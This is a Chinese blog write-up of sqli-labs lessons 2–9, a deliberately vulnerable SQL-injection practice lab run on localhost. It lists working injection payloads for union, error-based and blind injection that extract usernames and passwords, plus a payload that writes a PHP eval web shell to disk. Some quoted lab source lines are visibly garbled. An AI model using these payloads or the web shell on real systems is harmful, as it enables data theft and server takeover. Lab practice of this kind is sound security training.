less 2-10

网址:https://blog.csdn.net/u012763794/article/details/51207833

切记 网址后面#需要切换成%23 否则可能无法正常注入

less 2 GET - Error based - Intiger based (基于错误的GET整型注入)
整型的注入无需单引号
这里写图片描述
通过

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,2,3#

应该可以显示数字1,2,3其中的两个才对 ,原来是源码func_mysql_fetch_array的原因
那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,下面的就是分别举例了

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,3#

这里写图片描述

因为只有2,3两个位置使用 我们增加

concat_ws(char(32,58,32),user(),database(),version())

 http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(char(32,58,32),user(),database(),version())#

这里写图片描述

查询数据库中的table(表)
这里写图片描述
因为只能返回一个 所以我们使用limit
  Limit子句可以被用于强制 SELECT 语句返回指定的记录数。Limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

  //初始记录行的偏移量是 0(而不是 1):
  mysql> SELECT * FROM table LIMIT 5,10; //检索记录行6-15

  //为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
  mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last

  //如果只给定一个参数,它表示返回最大的记录行数目。换句话说,LIMIT n 等价于 LIMIT 0,n:
  mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

通过

 http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%204,1%23

查找到表users
这里写图片描述

id

http://127.0.0.1/sqli-labs-master/Less-2/?id=0%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20and table_name=0x7573657273 limit%200,1%23

这里写图片描述

同理可以得到username 和password

less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

lsee2 例子:
id= i d = _GET[‘id’]; // id=id i d = i d 赋 值 必 须 字 符 转 必 须 有 ” 包 裹 sql="SELECT * FROM users WHERE id= idLIMIT0,1;id= i d L I M I T 0 , 1 ” ; i d = id=id

less3 例子:
id= i d = _GET[‘id’]; // id=id i d = i d 赋 值 必 须 字 符 转 必 须 有 ” 包 裹 sql="SELECT * FROM users WHERE id=(' id)LIMIT0,1;id=( i d ′ ) L I M I T 0 , 1 ” ; 得 到 i d = ( ‘ id’)=(‘id’)

less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

less4

id= i d = _GET[‘id’]
sql="SELECTFROMusersWHEREid=( s q l =" S E L E C T ∗ F R O M u s e r s W H E R E i d = ( id) LIMIT 0,1”;

这里写图片描述

所以我们在判断注入时,要加入双引号进行判断哦,而且从下图可看到右括号,那么我们要用右括号闭合左括号

这里写图片描述

payload:

 http://localhost/sqli-labs/Less-4/?id=1") union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k

less5
代码

sql="SELECTFROMusersWHEREid= s q l =" S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ id’ LIMIT 0,1”;
echo “你的sql语句是:”. sql.; s q l . ” ” ; result=mysql_query( sql); s q l ) ; row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">'; 
echo 'You are in...........';
echo "<br>";
    echo "</font>";
}

未输出$row

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

当然只有一个也行

 http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

payload:

http://localhost/sqli-labs/Less-6/?id=1" union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k

//下面的这个”是中文双引号

 http://localhost/sqli-labs/Less-6/?id=1哈哈“

union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 – k

http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 and ”+

less 7 GET - Dump into outfile - String (导出文件GET字符型注入)

最后的payload:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

这里写图片描述
注意:文件不能覆盖,如下图(所以只能执行一次,只能换名字了)

less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
正确了显示内容 错误了不显示内容 无报错信息

发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
无论正确或者错误 无报错信息 内容均正常显示

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值